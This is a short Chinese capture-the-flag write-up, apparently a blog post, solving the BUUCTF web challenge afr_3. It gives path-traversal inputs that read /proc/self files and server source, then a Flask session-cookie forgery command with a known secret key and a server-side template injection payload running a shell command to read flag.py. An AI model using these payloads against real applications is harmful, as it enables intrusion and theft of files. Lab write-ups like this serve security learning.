BUUCTF afr_31

(一)BUUCTF web afr_3 考察linux中/proc/目录的理解,以及flash模板注入

(1)name=../../../../../proc/self/cmdline
(2)name=../../../../../proc/self/cwd/server.py  (最后的py文件可以改变)

(二)BUUCTF afr_3 使用的是文件路径穿越漏洞,可以通过以上两行代码,查询到flag文件,
使用python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{''.class.mro[2].subclasses()[71].init.globals['os'].popen('cat flag.py').read()}}'}" 进行伪造。
这个命令看起来是在使用 Flask Session Cookie Manager 工具来对会话数据进行编码。具体来说,它执行了以下操作:

1、使用 flask_session_cookie_manager3.py 脚本。
2、使用 encode 子命令表示要对会话数据进行编码。
3、使用 -s 选项指定会话密钥,这里是 "Drmhze6EPcv0fN_81Bj-nA"。
4、使用 -t 选项指定要编码的会话数据,这里是一个 Python 字典作为字符串,其中包含了一个键值对,键为 "n1code",值为一个特定的 Python 表达式。
5、这个 Python 表达式的目的是读取名为 flag.py 的文件的内容,并将其作为字符串返回。具体来说,它使用了 Python 中的一些特性,包括 .__class__.__mro__ 来获取类的方法解析顺序(Method Resolution Order, MRO)、__subclasses__() 来获取所有子类、__init__.__globals__ 来获取全局变量等。
6、这个命令看起来是在尝试利用 Python 的一些特性来读取 flag.py 文件的内容,并将其嵌入到会话数据中,以便在应用程序中进行处理或者传输。

(三)命令在kali中进行以下操作:

得到

.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.Zh9zPA.wjAKLeMY50OWw1VaBKLq5IY8v7Y

(四)在bp进行拦截,对session进行修改。

得到flag。

  • 5
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值